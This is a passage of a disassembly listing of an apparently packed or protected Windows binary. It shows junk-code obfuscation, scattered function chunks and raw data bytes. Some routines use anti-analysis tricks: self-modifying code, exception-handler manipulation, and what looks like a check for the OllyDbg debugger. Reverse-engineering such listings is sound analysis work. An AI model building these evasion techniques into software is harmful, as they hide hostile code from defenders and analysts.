sub_42BC9B+13j jmp loc_428B9A ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_4275F5: ; CODE XREF: sub_424BF9+7j mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_42DB08 or eax, eax jnz loc_42CE55 jmp loc_4268C1 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- loc_42760D: ; CODE XREF: wto1jq8f:00429CFDj not edx ; =============== S U B R O U T I N E ======================================= sub_42760F proc far ; CODE XREF: sub_42C423:loc_42E44Ap ; FUNCTION CHUNK AT 004249AC SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00425D9D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427772 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A7C4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D11B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D900 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DEDC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F2BD SIZE 0000000B BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jmp loc_4249AC sub_42760F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42761E: ; CODE XREF: wto1jq8f:0042479Bj jle loc_426511 jl loc_42D2F9 and edi, 8EA7CCA2h loc_427630: ; CODE XREF: wto1jq8f:loc_428631j mov eax, [ebp-0Ch] mov dword ptr ds:loc_42F1DB+5, eax mov eax, [ebp-0Ch] mov ecx, 3F1h xor edx, edx jmp loc_429561 ; --------------------------------------------------------------------------- adc ebx, 870BF7Dh loc_42764D: ; CODE XREF: wto1jq8f:loc_42C345j jmp sub_42FC41 ; --------------------------------------------------------------------------- dw 0C281h dd 0DACFF961h, 0E9241487h, 8546h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_427660: ; CODE XREF: sub_426313+6j pop ebp mov eax, ds:dword_42E528 or eax, eax jnz loc_428BDF jmp loc_429160 ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- loc_427674: ; CODE XREF: wto1jq8f:004259F4j mov [esp], ebx pop ebx add ecx, ebp add ecx, 0C6896F55h mov [ecx], eax pop ecx mov eax, [ebp-4] jmp loc_4263CB ; --------------------------------------------------------------------------- rol edi, 0Ch jmp loc_42EEAE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_427694 proc near ; DATA XREF: sub_42B10Ao push ebp push offset loc_429D2E jmp nullsub_81 sub_427694 endp ; --------------------------------------------------------------------------- loc_42769F: ; CODE XREF: wto1jq8f:00429806j add eax, 0B650C109h mov eax, [eax] call near ptr sub_42D2BB test eax, edx jmp loc_4296D1 ; --------------------------------------------------------------------------- test eax, eax jz loc_425BE9 jmp loc_42A1C2 ; --------------------------------------------------------------------------- loc_4276C0: ; CODE XREF: wto1jq8f:0042B4DBj shl edx, 9 ; =============== S U B R O U T I N E ======================================= sub_4276C3 proc near ; CODE XREF: sub_42CEBE+8p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00427426 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278A0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428897 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E2F5 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx push 0 push 0 push 0 push 7510537Ah jmp loc_427426 sub_4276C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 81h dd 0AE1D59EAh, 808EE9B5h, 0C0850000h, 2072840Fh, 85C60000h dd 0FFFFF7FAh, 2EDFE800h, 31E90000h, 0C3000047h ; --------------------------------------------------------------------------- loc_4276FC: ; CODE XREF: wto1jq8f:00424990j and edi, 6B818528h or edi, ds:4000F8h add edi, 8426B14Ch push offset loc_42F8A7 jmp loc_42612E ; --------------------------------------------------------------------------- loc_427718: ; CODE XREF: wto1jq8f:loc_429852j add ebx, 79BC6AA4h call sub_429BA6 ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_427723: ; CODE XREF: sub_42BB8A+Cj jmp loc_4264A3 ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_427728: ; CODE XREF: sub_428D47:loc_425A3Bj mov ecx, 3FDh xor edx, edx div ecx mov [ebp-20h], edx push 9B54B815h pop ecx jmp loc_42A827 ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- loc_42773F: ; CODE XREF: wto1jq8f:loc_42908Cj push 0E39B270Fh pop edi xor edi, 9636E219h add eax, edi jmp near ptr loc_42F5B2+1 ; --------------------------------------------------------------------------- loc_427752: ; DATA XREF: sub_424556:loc_426F4Co push 2EEA93DAh adc ecx, 7E18CF79h jmp loc_42B621 ; --------------------------------------------------------------------------- loc_427762: ; DATA XREF: sub_428310:loc_4282F4o jmp loc_424817 ; --------------------------------------------------------------------------- jmp loc_42816A ; =============== S U B R O U T I N E ======================================= sub_42776C proc near ; CODE XREF: wto1jq8f:loc_42CCE8j ; wto1jq8f:loc_42EB19p push ebp call sub_428295 sub_42776C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42760F loc_427772: ; CODE XREF: sub_42760F-2C3Ej jmp loc_42DCDF ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_427777: ; CODE XREF: sub_42A88D:loc_429BE7j jz loc_42B2DE jmp loc_427421 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_427782: ; CODE XREF: sub_42ADC7+2B87j xchg edx, [esp+8+var_8] push edx push ebx push eax loc_427788: ; CODE XREF: wto1jq8f:loc_42BC33j jmp loc_42CECC ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42778D: ; CODE XREF: sub_425CE2+359Aj ; sub_4260A9+37BAj push offset loc_42A7A2 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; START OF FUNCTION CHUNK FOR sub_429C18 loc_427792: ; CODE XREF: sub_429C18:loc_429EABj jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_429C18 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_427798 proc near ; DATA XREF: wto1jq8f:004294BDo xor eax, eax mov [ebp-8], eax sub_427798 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426535 loc_42779D: ; CODE XREF: sub_426535:loc_42AB0Ej jns loc_42B5BE mov eax, [ebp-0Ch] loc_4277A6: ; CODE XREF: sub_42DC5C:loc_42A10Fj cmp byte ptr [eax], 0 jnz loc_42ED27 jmp near ptr loc_42FB28+2 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_4277B4: ; CODE XREF: sub_429281+415j or esi, edx xchg edx, [ebp+0] jmp loc_42F8FF ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_4277BE: ; CODE XREF: sub_42ADC7+2050j adc edx, 87658B68h jz loc_42C080 shl ecx, 16h push 0E3D3182h loc_4277D2: ; CODE XREF: sub_42ADC7:loc_42AC6Dj lea eax, [ebp-2BBh] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_4294D2 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_4277E9: ; CODE XREF: wto1jq8f:0042B8B0j jz loc_42A34D jmp loc_426422 ; --------------------------------------------------------------------------- locret_4277F4: ; CODE XREF: wto1jq8f:loc_42A70Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA92 loc_4277F5: ; CODE XREF: sub_42DA92+7j jmp loc_4270A6 ; END OF FUNCTION CHUNK FOR sub_42DA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4277FA: ; CODE XREF: sub_426535-1BF1j jmp loc_42D473 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_4277FF: ; CODE XREF: sub_42ADC7-21D8j add eax, 0AAC4EDD7h xor eax, 149EA320h add eax, ebp add eax, 5E2E6029h jmp loc_4297C8 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test al, al jz loc_42975C call sub_427F4E test al, al jz loc_42975C jmp loc_42ED37 ; --------------------------------------------------------------------------- locret_427833: ; CODE XREF: wto1jq8f:00427859j retn ; --------------------------------------------------------------------------- loc_427834: ; CODE XREF: wto1jq8f:0042B734j xchg ecx, ebp push offset sub_42DBA6 jmp locret_42CC5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_427840: ; CODE XREF: sub_424F7A+89B2j jz loc_42D3EE jmp loc_42D093 ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- locret_42784B: ; CODE XREF: wto1jq8f:loc_42478Aj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42784C: ; CODE XREF: sub_424585+11j jmp loc_42A07D ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- loc_427851: ; CODE XREF: wto1jq8f:loc_425DF7j cmp dword ptr [eax], 0FFFFFFFFh push offset loc_428CAB jmp locret_427833 ; --------------------------------------------------------------------------- and eax, 0C9E693BAh add eax, 0F7809871h popf xchg eax, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- loc_427873: ; CODE XREF: wto1jq8f:004299C4j ; wto1jq8f:004299D8j add edx, 80713783h mov edx, [edx] call sub_42CDD5 ; START OF FUNCTION CHUNK FOR sub_427D00 loc_427880: ; CODE XREF: sub_427D00+51B9j jo loc_424487 loc_427886: ; CODE XREF: sub_42669E:loc_426133j or esi, ebx or ebx, eax loc_42788A: ; CODE XREF: sub_427D00:loc_42CEADj sub ecx, 0D8AF123Ch add ecx, 77167734h mov ecx, [ecx] loc_427898: ; CODE XREF: sub_42D9FC:loc_42EB65j or [ecx+edx], al jmp loc_42BBB9 ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_4278A0: ; CODE XREF: sub_4276C3:loc_427426j ; sub_42DC5C:loc_42A479j add [esp+0Ch+var_C], 8AEFAC86h push 0 push 1 lea eax, [ebp-806h] xchg eax, ebx push ebx xchg eax, ebx jmp loc_428897 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- loc_4278BB: ; CODE XREF: wto1jq8f:00425E85j xor ebx, edx ; =============== S U B R O U T I N E ======================================= sub_4278BD proc near ; CODE XREF: sub_424B70+4p mov [esp+0], edi pop edi mov ebp, esp push edi mov edi, ecx jmp loc_42C24C sub_4278BD endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_4278CC: ; DATA XREF: wto1jq8f:0042C5DDo add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax ; START OF FUNCTION CHUNK FOR sub_426350 loc_4278D6: ; CODE XREF: wto1jq8f:00425C0Fj ; sub_426C04+246j ... mov eax, [ebp-0Ch] mov esp, ebp jmp near ptr word_42FC72 ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- sbb ebx, 34A1B2D6h jmp sub_42DF3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4281DD loc_4278EB: ; CODE XREF: sub_4281DD+Ej mov esi, offset loc_4278FE xchg esi, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_4281DD ; --------------------------------------------------------------------------- jmp nullsub_153 ; --------------------------------------------------------------------------- loc_4278F9: ; CODE XREF: wto1jq8f:0042BF1Ej jmp loc_42CAA2 ; --------------------------------------------------------------------------- loc_4278FE: ; DATA XREF: sub_4281DD:loc_4278EBo pop eax jmp loc_4271E7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_427905: ; CODE XREF: wto1jq8f:0042AD0Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_427906: ; CODE XREF: sub_4283CC+Bj jmp loc_42EF0E ; END OF FUNCTION CHUNK FOR sub_4283CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] dd 0FFD1DBE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_427911: ; CODE XREF: sub_42D9FC-1CE0j jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_427916: ; CODE XREF: sub_42A8ED+17j jmp loc_42D376 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42704E loc_42791B: ; CODE XREF: sub_42704E+4j mov esp, ebp pop ebp mov eax, ds:dword_42ACE4 or eax, eax jnz loc_42B105 call sub_4242D6 push (offset loc_42F0CE+1) jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_42704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_42793B: ; CODE XREF: wto1jq8f:loc_428254j ; sub_424BD4+39A6j mov edx, [ebp+8] push offset sub_426750 jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_424BD4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_427949: ; CODE XREF: sub_42DEFF-17ABj jmp loc_42CAAC ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42794E: ; CODE XREF: sub_42CB36-34CEj jmp loc_42E858 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- cdq jmp loc_429BD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_427959: ; CODE XREF: sub_427D00:loc_42DBF4j pop ecx and ecx, 2FA1F21h xor ecx, 7F5F4434h add ecx, 0BD9BF49Bh add ecx, ebp add ecx, 0C2EEB23Ch mov ecx, [ecx] jmp loc_42DEAE ; END OF FUNCTION CHUNK FOR sub_427D00 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42797C: ; CODE XREF: sub_428B3E+4997j jmp loc_42C333 ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- loc_427981: ; CODE XREF: wto1jq8f:0042A2CCj jmp loc_428807 ; --------------------------------------------------------------------------- loc_427986: ; CODE XREF: wto1jq8f:004267E1j mov eax, [ebp-20h] loc_427989: ; CODE XREF: wto1jq8f:00429EEDj call sub_42FFDE pop ecx mov [ebp-20h], eax jmp loc_4250E0 ; --------------------------------------------------------------------------- test byte ptr [ebp-8], 2 jmp loc_425E30 ; --------------------------------------------------------------------------- dd 5B025A68h, 0F2815A8Fh, 8B6224A0h, 810BC2C1h, 5B25A1F2h dd 17ABE817h, 0C1500000h, 0F3E90BC0h, 0C1000079h, 0E99C06CBh dd 0FFFFD59Eh, 0C105CBC1h db 0EAh, 0Bh ; --------------------------------------------------------------------------- loc_4279D2: ; CODE XREF: wto1jq8f:00425E9Dj ; wto1jq8f:loc_42AE39j mov eax, 6F7h push ecx push 97812A24h jmp loc_42817E ; --------------------------------------------------------------------------- loc_4279E2: ; CODE XREF: wto1jq8f:00427A38j xor eax, ds:4000F7h test eax, 80000h jmp loc_42633B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_4279F3: ; CODE XREF: sub_429281:loc_42AB3Aj pop large dword ptr fs:0 add esp, 4 mov eax, 50h call sub_428183 jmp loc_42955C ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_427A0C: ; CODE XREF: sub_427D82:loc_42B215j mov ds:dword_42E538, eax retn ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- loc_427A13: ; CODE XREF: wto1jq8f:004242B6j jmp locret_427036 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_427A18: ; CODE XREF: sub_427D82-23BEj ror eax, 0Eh call sub_4274BE ; END OF FUNCTION CHUNK FOR sub_427D82 ; START OF FUNCTION CHUNK FOR sub_42E83D loc_427A20: ; CODE XREF: sub_42E83D-2227j jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0DF loc_427A25: ; CODE XREF: sub_42C0DF+Cj jmp loc_42F9DC ; END OF FUNCTION CHUNK FOR sub_42C0DF ; --------------------------------------------------------------------------- locret_427A2A: ; CODE XREF: wto1jq8f:loc_42C5B6j retn ; --------------------------------------------------------------------------- jmp loc_426508 ; --------------------------------------------------------------------------- loc_427A30: ; DATA XREF: sub_427D82-3C62o push eax push eax push 57BA150Eh pop eax jmp loc_4279E2 ; --------------------------------------------------------------------------- pop edi mov eax, [eax] xor edx, edx div dword ptr [ebp-8] mov [ebp-0Ch], edx jmp loc_4267C4 ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: wto1jq8f:004262C9j ja loc_42DF03 ; =============== S U B R O U T I N E ======================================= sub_427A53 proc near ; CODE XREF: sub_42CBD1-43D9p ; FUNCTION CHUNK AT 00424AD5 SIZE 00000005 BYTES mov [esp+0], ecx pop ecx mov [ebx], eax pop ebx jmp loc_424AD5 sub_427A53 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427A5F: ; CODE XREF: wto1jq8f:00429E4Fj xor esi, 74AD3C9Eh add esi, 65164B68h mov [esi], eax pop esi retn ; --------------------------------------------------------------------------- loc_427A6F: ; CODE XREF: wto1jq8f:0042B495j jmp loc_42EE73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_427A74: ; CODE XREF: sub_4291B9-24F2j ror eax, 1Bh jmp loc_429440 ; END OF FUNCTION CHUNK FOR sub_4291B9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push eax rol eax, 1Ah mov ds:dword_42D5C8, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_427A88: ; CODE XREF: sub_429BFF+3CDCj jmp loc_42DD22 ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_427A8D proc near ; CODE XREF: sub_42DC5C-5253j ; wto1jq8f:loc_4290B3j ... ; FUNCTION CHUNK AT 0042FCD1 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 0042FD1B SIZE 00000013 BYTES jo sub_42B353 push ebp mov ebp, esp add esp, 0FFFFFFECh jmp loc_42FCD1 sub_427A8D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427A9E proc near ; CODE XREF: sub_42CFE2-8FDCp ; sub_429165-4257p ... ; FUNCTION CHUNK AT 00424C3D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424E42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2AA SIZE 00000008 BYTES lea eax, sub_427A9E jb loc_42C2AA mov byte ptr [eax], 0C3h call sub_424585 call loc_42F50F loc_427AB7: ; CODE XREF: sub_42B339+Dj jmp sub_42A56D sub_427A9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427ABC: ; CODE XREF: sub_426535+6F44j and eax, ebx add ecx, ebp and eax, edi ror edi, 11h jmp loc_42BD93 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_427ACA: ; CODE XREF: sub_42D9FC+1134j add edi, eax loc_427ACC: ; CODE XREF: wto1jq8f:loc_42EC23j adc ecx, ebx loc_427ACE: ; CODE XREF: sub_42D9FC:loc_425CFFj xor eax, eax push esi push 0F4873FC0h pop esi jmp loc_42E3C9 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_427ADC: ; CODE XREF: wto1jq8f:0042E3A8j sub eax, 3483C81Ch shr ebx, 0Fh cmp edi, 457BEB84h jmp loc_42F3DB ; --------------------------------------------------------------------------- adc ebx, eax xchg ebp, [edx] jmp sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_427AF9: ; CODE XREF: sub_425944+4j mov eax, [ebp-4] call sub_429A28 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jle loc_4245A1 mov eax, [ebp-4] jmp loc_426ABA ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- call sub_42A56D call sub_42ED32 call nullsub_149 ; START OF FUNCTION CHUNK FOR sub_424585 loc_427B25: ; CODE XREF: sub_428DBE+14j ; sub_424585+5B04j mov eax, ds:dword_42DAE4 mov [ebp+var_4], eax mov eax, (offset loc_42FB67+1) jmp loc_428840 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- loc_427B37: ; CODE XREF: wto1jq8f:00427B67j jle loc_42B5CD ; =============== S U B R O U T I N E ======================================= sub_427B3D proc near ; CODE XREF: sub_42D9FC+9D9p ; FUNCTION CHUNK AT 00427FD8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CBB7 SIZE 00000005 BYTES mov [esp+0], esi pop esi xor esi, 0DFC52808h add esi, ebp add esi, 9438514h mov [esi], eax jmp loc_42CBB7 sub_427B3D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427B56: ; CODE XREF: wto1jq8f:00428415j jnz loc_42EACC jmp loc_42AE4E ; --------------------------------------------------------------------------- test eax, 351FD97Ch jmp loc_427B37 ; --------------------------------------------------------------------------- loc_427B6C: ; DATA XREF: wto1jq8f:0042731Eo mov eax, [eax] add eax, [ebp-4] call sub_42FC85 cmp eax, [ebp-8] jnz loc_42FC74 mov eax, [ebp-14h] mov eax, [eax+24h] jmp loc_427153 ; --------------------------------------------------------------------------- loc_427B8A: ; CODE XREF: wto1jq8f:00424EFAj jnz loc_4283F0 jmp loc_42F63F ; --------------------------------------------------------------------------- loc_427B95: ; CODE XREF: wto1jq8f:00427398j jp loc_42E0C6 ; START OF FUNCTION CHUNK FOR sub_4267AE loc_427B9B: ; CODE XREF: sub_4267AE:loc_42A0C8j call sub_42B10A lea eax, sub_42A59B mov [ebp-4], eax call sub_42B8FC mov ds:dword_42F1D4, eax jmp loc_42D284 ; --------------------------------------------------------------------------- loc_427BB8: ; CODE XREF: sub_4267AE:loc_424183j push esi jmp loc_429390 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- loc_427BBE: ; CODE XREF: wto1jq8f:0042D937j jo loc_42BF74 jno loc_42ABC0 jmp loc_42689A ; --------------------------------------------------------------------------- mov eax, ds:dword_425108[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 push offset sub_42D09C jmp loc_42429F ; --------------------------------------------------------------------------- mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_427BF1: ; DATA XREF: sub_42C786+Ao xor eax, eax ; START OF FUNCTION CHUNK FOR sub_42CF50 loc_427BF3: ; CODE XREF: sub_42CF50+15j pop large dword ptr fs:0 add esp, 4 jmp loc_42D7F2 ; END OF FUNCTION CHUNK FOR sub_42CF50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427C02: ; CODE XREF: sub_426535+261j jp loc_429662 mov edx, esi sbb edx, ebp loc_427C0C: ; CODE XREF: wto1jq8f:0042A87Dj call sub_42ED01 jmp loc_42899F ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_427C16: ; CODE XREF: wto1jq8f:0042C639j sbb ebp, ebx ; START OF FUNCTION CHUNK FOR sub_42C61B loc_427C18: ; CODE XREF: sub_42C61B+Dj add ebx, 0DE303E04h xchg ebx, [esp+4+var_4] jmp loc_42AE59 ; END OF FUNCTION CHUNK FOR sub_42C61B ; --------------------------------------------------------------------------- loc_427C26: ; CODE XREF: wto1jq8f:loc_426E0Bj jnz loc_42EF03 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_42E0A8 jmp loc_42CAF0 ; --------------------------------------------------------------------------- add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_42E0A8 jmp loc_42BAAA ; --------------------------------------------------------------------------- loc_427C51: ; CODE XREF: wto1jq8f:0042C198j ja loc_42A48B xchg eax, ebx add ebp, 732CF642h jmp loc_426A2E ; --------------------------------------------------------------------------- mov [edi], esi jmp sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_427C6B: ; CODE XREF: sub_42B276-F6Cj adc edi, ebx sub ebx, 255C8807h pop large dword ptr fs:0 add esp, 4 mov eax, 50h jmp loc_42E838 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- pop ebx call near ptr sub_42C43B ; START OF FUNCTION CHUNK FOR sub_426350 loc_427C8D: ; CODE XREF: sub_426350+3C60j jmp loc_42E9D4 ; END OF FUNCTION CHUNK FOR sub_426350 ; =============== S U B R O U T I N E ======================================= sub_427C92 proc far ; CODE XREF: wto1jq8f:loc_42EC2Fp ; FUNCTION CHUNK AT 0042EF74 SIZE 00000006 BYTES mov [esp+0], edx push 0C527B259h pop edx add edx, 3B1B13E5h xchg edx, [esp+0] jmp loc_42EF74 sub_427C92 endp ; --------------------------------------------------------------------------- loc_427CA9: ; CODE XREF: wto1jq8f:loc_424081j call loc_42F987 loc_427CAE: ; CODE XREF: wto1jq8f:00429D1Ej jmp locret_4246C4 ; --------------------------------------------------------------------------- loc_427CB3: ; CODE XREF: wto1jq8f:00424630j jmp near ptr loc_42FA8E+5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_427CB8: ; CODE XREF: sub_4244EA:loc_424E3Cj ; sub_4244EA+37DAj mov [ebp-5], al mov al, [ebp-5] pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_427CC2: ; CODE XREF: wto1jq8f:00426B6Ej ; sub_4244EA+4493j ... mov al, 1 jmp loc_427CB8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- loc_427CC9: ; CODE XREF: wto1jq8f:loc_424538j div ecx mov [ebp-18h], edx call sub_428BF4 loc_427CD3: ; CODE XREF: wto1jq8f:00425AA5j jmp loc_425EBD ; --------------------------------------------------------------------------- loc_427CD8: ; CODE XREF: wto1jq8f:0042E445j jo loc_42BD8E loc_427CDE: ; CODE XREF: wto1jq8f:00426693j lea eax, [ebp-2BBh] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_428EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_427CF5: ; CODE XREF: sub_42750A+23D2j jz loc_426849 jmp loc_427335 ; END OF FUNCTION CHUNK FOR sub_42750A ; =============== S U B R O U T I N E ======================================= sub_427D00 proc near ; CODE XREF: sub_426AD4+2094p ; wto1jq8f:0042CFDDj ; FUNCTION CHUNK AT 004245C3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004250A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427880 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427959 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042906C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042974D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042A0D3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042BBA1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BBB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C75A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CEAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D088 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DBF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DEAE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E6AA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042F272 SIZE 00000001 BYTES mov [esp+0], esi loc_427D03: ; CODE XREF: sub_42DB52-5266j pop esi mov edx, [ebp-14h] shr edx, 3 mov ecx, ds:dword_429558 movzx edx, byte ptr [ecx+edx] and eax, edx jmp loc_42D088 sub_427D00 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED 